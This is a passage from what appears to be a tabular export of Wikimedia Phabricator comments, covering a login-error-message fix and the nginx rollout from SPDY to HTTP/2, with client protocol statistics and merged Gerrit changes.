+|4|incorrect|incorrect|Login failed:(|
+
+{F159473}
+
+",,,1430520582,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+450719,Generic login failed message when password is wrong,"QA: BTW, @Deskana's patch also handles illegal characters in usernames (e.g. add a space or slash in the user field).
+The difference for the WrongPluginPass vs. WrongPass is how auth is happening.
+The WrongPluginPass code is used when CentralAuth is involved (e.g. the account is not a local account).",,,1430260749,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,1
+450718,Generic login failed message when password is wrong,"Change 207287 merged by jenkins-bot:
+Handle some more login API errors.
+
+[[https://gerrit.wikimedia.org/r/207287]]",,,1430260528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-10,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+450703,Generic login failed message when password is wrong,"Change 207287 had a related patch set uploaded (by Deskana):
+Handle some more login API errors.
+
+[[https://gerrit.wikimedia.org/r/207287]]
+",,,1430258912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-10,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+450694,Generic login failed message when password is wrong,@bearND Sorry for snagging this from you without realising you were working on it. :-(,,,1430258486,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1
+450686,Generic login failed message when password is wrong,This patch should address this: https://gerrit.wikimedia.org/r/#/c/207287/,,,1430258132,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+96848,Support HTTP/2,"[Note the ticket has morphed a bit, and older comments at the top may not be very relevant anymore!]
+
+We should support HTTP2, as this is the true standard that replaces the experimental SPDY and brings mostly the same benefits we've enjoyed so far with SPDY.  Note that our current production TLS terminators already support ALPN w/ SPDY, so ALPN-vs-NPN isn't an issue anymore.
+
+Our current termination software is nginx 1.9.4 with a few extra local patches in support of parallel RSA+ECDSA certs.  Upstream nginx introduced HTTP2 support with their release of version 1.9.5.  However, they made an implementation decision to **replace** SPDY/3 support with HTTP2 support, rather than support both protocols side-by-side.  We believe that was a very poor decision, as it would have been easy to support both in the patches, and client statistics indicate the real world still has a fair number of clients out there which are SPDY- but not HTTP2- capable.
+
+Our preliminary stats from sampling live TLS ClientHello data from our traffic (this was a fairly small sample, but I wouldn't expect too much change from a larger one) were:
+
+| none      | 48.312%
+| spdy+h2   | 25.426%
+| spdy-only | 24.913%
+| h2-only   | 01.350%
+
+On a practical level, SPDY/3 and HTTP2 are both doing the same job in terms of effects on client and server performance and such.  If the stats above are broadly-accurate and we dropped SPDY/3 support for HTTP2 support today, we'd fall from ~50% of client connections on SPDY to only ~27% of client connections on HTTP2.
+
+For an extra kick, this now also blocks us from upgrading to nginx 1.9.5 or higher in general, should we want to do so to apply fixes and improvements to other unrelated things.  We have a few basic categorical options here:
+
+1. Re-work nginx's HTTP2 patch such that it doesn't remove SPDY/3 support, and then sort out making that into a reasonable diff against current nginx 1.9.x code.  Not completely trivial, but not all that difficult either given the patch history / diffs available at http://nginx.org/patches/http2/ .  Kind of awful in the sense of moving further away from upstream and having to deal with more local code maintenance burden.
+
+2. Convince upstream nginx to do something similar on their own.
+
+3. Do all the work of option 1 ourselves, and submit the patches and get them included in upstream, removing the latter half of the problem in option 1.
+
+4. Move to a different TLS termination software altogether, which ideally supports SPDY/3 + HTTP2, or at least supports SPDY/3 and has future plans to introduce HTTP2 alongside it (so that at least we can continue tracking upstream on unrelated bugs/improvements, unlike the situation with nginx today).  Apache might be an option here, but there are probably others that fit the bill as well.  Some googling and evaluating is in order.",High,80.0,1429710468,1462382157.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-vory37kt7mm2yppntcba,task_description,resolved,True,c3,1,True,True,False,-11,True,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+691933,Support HTTP/2,"Graph of SPDY/3 and H/2 connection percentages for 1 month before and after the May 4th transition date:
+
+{F4262192}",,,1468249922,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+691932,Support HTTP/2,{F4262192},,,1468249888,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+656677,Support HTTP/2,"Change 286819 merged by BBlack:
+remove do_spdy hieradata, all h2, 2/2
+
+[[https://gerrit.wikimedia.org/r/286819]]",,,1462382096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+656661,Support HTTP/2,"Change 286818 merged by BBlack:
+remove do_spdy conditional, all h2, 1/2
+
+[[https://gerrit.wikimedia.org/r/286818]]",,,1462381536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+656637,Support HTTP/2,"Thanks so much, @bblack. Rolling this out at this pace with no significant interruptions is very impressive. ",,,1462379790,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0
+656539,Support HTTP/2,\o/,,,1462375135,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+656459,Support HTTP/2,"text and upload have been converted now as well, so all cache clusters have made the HTTP/2 switch.  I've also done a last-minute fixup to the varnishxcps script (it didn't support the key `h2` in a regex), and now https://grafana.wikimedia.org/dashboard/db/client-connections shows combined spdy and h2 percentages, so that we can see the diff.
+
+There's some noise around the transition + late varnishxcps fixup (where it goes to 100% and drops way too low, then levels back out), but ignoring that things look sane.  The drop does seem around 2% vs last week so far (which seems strange to me - I would've expected more diff from our systemtap stats due to per-connection vs per-request).",,,1462368854,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+656414,Support HTTP/2,"Change 286817 merged by BBlack:
+cache_text HTTP/2 switch
+
+[[https://gerrit.wikimedia.org/r/286817]]",,,1462363946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+656406,Support HTTP/2,"Change 286816 merged by BBlack:
+cache_upload HTTP/2 switch
+
+[[https://gerrit.wikimedia.org/r/286816]]",,,1462363239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+656400,Support HTTP/2,"Change 286819 had a related patch set uploaded (by BBlack):
+remove do_spdy hieradata, all h2, 2/2
+
+[[https://gerrit.wikimedia.org/r/286819]]
+",,,1462362946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+656399,Support HTTP/2,"Change 286818 had a related patch set uploaded (by BBlack):
+remove do_spdy conditional, all h2, 1/2
+
+[[https://gerrit.wikimedia.org/r/286818]]
+",,,1462362945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+656398,Support HTTP/2,"Change 286817 had a related patch set uploaded (by BBlack):
+cache_text HTTP/2 switch
+
+[[https://gerrit.wikimedia.org/r/286817]]
+",,,1462362944,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+656397,Support HTTP/2,"Change 286816 had a related patch set uploaded (by BBlack):
+cache_upload HTTP/2 switch
+
+[[https://gerrit.wikimedia.org/r/286816]]
+",,,1462362943,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+655961,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVR31uJv1EdYBLP_7ul2} [2016-05-03T18:17:31Z] <bblack> HTTP/2 enable for cache_misc (nginx upgrade - T96848)",,,1462299452,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655958,Support HTTP/2,"Change 286700 merged by BBlack:
+cache_misc: HTTP/2 T96848
+
+[[https://gerrit.wikimedia.org/r/286700]]",,,1462299161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655957,Support HTTP/2,"Change 286700 had a related patch set uploaded (by BBlack):
+cache_misc: HTTP/2 T96848
+
+[[https://gerrit.wikimedia.org/r/286700]]
+",,,1462299142,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+655898,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVR3mhTqgCrwkbTdmHKG} [2016-05-03T17:11:07Z] <bblack> HTTP/2 enable for cache_maps (nginx upgrade) - T96848",,,1462295467,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655316,Support HTTP/2,"I've built new `1.10.0-1+wmf1` packages and uploaded those to carbon and upgraded cp1008.  These have no true code changes from the last 1.9.15-1+wmf1 test package, just version-related churn.  Still planning to start upgrading clusters during the US daytime on **Tues, May 3**.",,,1462220894,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+655298,Support HTTP/2,"Change 286508 merged by BBlack:
+nginx (1.10.0-1 wmf1) jessie-wikimedia; urgency=medium
+
+[[https://gerrit.wikimedia.org/r/286508]]",,,1462219074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655297,Support HTTP/2,"Change 286507 merged by BBlack:
+Remove --automatic-dbgsym on dyn mod dh_strip
+
+[[https://gerrit.wikimedia.org/r/286507]]",,,1462219064,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655296,Support HTTP/2,"Change 286506 merged by BBlack:
+multicert   libssl1.0.2 patches for 1.10.0
+
+[[https://gerrit.wikimedia.org/r/286506]]",,,1462219052,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655292,Support HTTP/2,"Change 284075 abandoned by BBlack:
+multicert   libssl1.0.2 patches for 1.9.15
+
+[[https://gerrit.wikimedia.org/r/284075]]",,,1462218906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655291,Support HTTP/2,"Change 284920 abandoned by BBlack:
+Remove --automatic-dbgsym on dyn mod dh_strip
+
+[[https://gerrit.wikimedia.org/r/284920]]",,,1462218900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655289,Support HTTP/2,"Change 284077 abandoned by BBlack:
+nginx (1.9.15-1 wmf1) jessie-wikimedia; urgency=medium
+
+[[https://gerrit.wikimedia.org/r/284077]]",,,1462218893,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+655285,Support HTTP/2,"Change 286508 had a related patch set uploaded (by BBlack):
+nginx (1.10.0-1 wmf1) jessie-wikimedia; urgency=medium
+
+[[https://gerrit.wikimedia.org/r/286508]]
+",,,1462218739,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+655284,Support HTTP/2,"Change 286507 had a related patch set uploaded (by BBlack):
+Remove --automatic-dbgsym on dyn mod dh_strip
+
+[[https://gerrit.wikimedia.org/r/286507]]
+",,,1462218738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+655283,Support HTTP/2,"Change 286506 had a related patch set uploaded (by BBlack):
+multicert   libssl1.0.2 patches for 1.10.0
+
+[[https://gerrit.wikimedia.org/r/286506]]
+",,,1462218737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+654211,Support HTTP/2,"While the 24H data is much better quality (not so subject to daily regional highs and lows), the overall picture is still basically the same.
+
+There's a lot of interesting side- correlations and insights in this data too.  Notably to me: we know from existing LVS stats that ulsfo has ballpark 50% of the traffic rate (in bytes) that esams has, yet when counting raw TLS connection-starts in this data, ulsfo has 23% more connections-per-day than esams.  When we look at the protocol data, we also see that ulsfo skews more in the H/1 direction, probably due to a more-outdated mix of clients, since most of Asia maps there.  So the disparity is probably indicative how much SPDY and H/2's connection-coalescing helps us in raw connection-count terms.  I wasn't expecting that effect to be so big relative to the protocol-stats differential there...
+
+**Planning:**
+
+The next two work-weeks (May 2-6 and 9-13) are the last ones left before the Chrome SPDY cutoff on the 15th.  At this point I'm tentatively planning to upgrade the nginxes for H/2 early next week, probably **Tuesday May 3**.  This should give us some breathing room in case of any last minute complications or delays.",,,1461949131,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+654206,Support HTTP/2,"While the 24H data is much better quality (not so subject to daily regional highs and lows), the overall picture is still basically the same.
+
+There's a lot of interesting side- correlations and insights in this data too.  Notably to me: we know from existing LVS stats that ulsfo has ballpark 40% of the traffic rate (in bytes) that esams has, yet when counting raw TLS connection-starts in this data, ulsfo has 23% more connections-per-day than esams.  When we look at the protocol data, we also see that ulsfo skews more in the H/1 direction, probably due to a more-outdated mix of clients, since most of Asia maps there.  So the disparity is probably indicative how much SPDY and H/2's connection-coalescing helps us in raw connection-count terms.  I wasn't expecting that effect to be so big relative to the protocol-stats differential there...
+
+**Planning:**
+
+The next two work-weeks (May 2-6 and 9-13) are the last ones left before the Chrome SPDY cutoff on the 15th.  At this point I'm tentatively planning to upgrade the nginxes for H/2 early next week, probably **Tuesday May 3**.  This should give us some breathing room in case of any last minute complications or delays.",,,1461948807,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+654258,Support HTTP/2,"= 24H Results:
+| Set | H/1 | Both | SPDY | H/2 |
+|--|--|--|--|--|
+| **All** | 54.75% | 33.17% | 7.07% | 5.01% |
+| **Text** | 57.58% | 28.72% | 6.99% | 6.72% |
+| **Upload** | 50.92% | 39.20% | 7.17% | 2.71% |
+| **Eqiad** | 50.79% | 38.80% | 6.08% | 4.33% |
+| **Codfw** | 53.46% | 36.12% | 5.75% | 4.67% |
+| **Esams** | 48.94% | 37.76% | 7.91% | 5.39% |
+| **Ulsfo** | 61.93% | 25.77% | 7.15% | 5.15% |
+
+**24H Raw Data:**
+```
+lines=10
+bblack-mba:results bblack$ for x in data/*; do echo == $x ==; cat $x; done
+== data/codfw-text ==
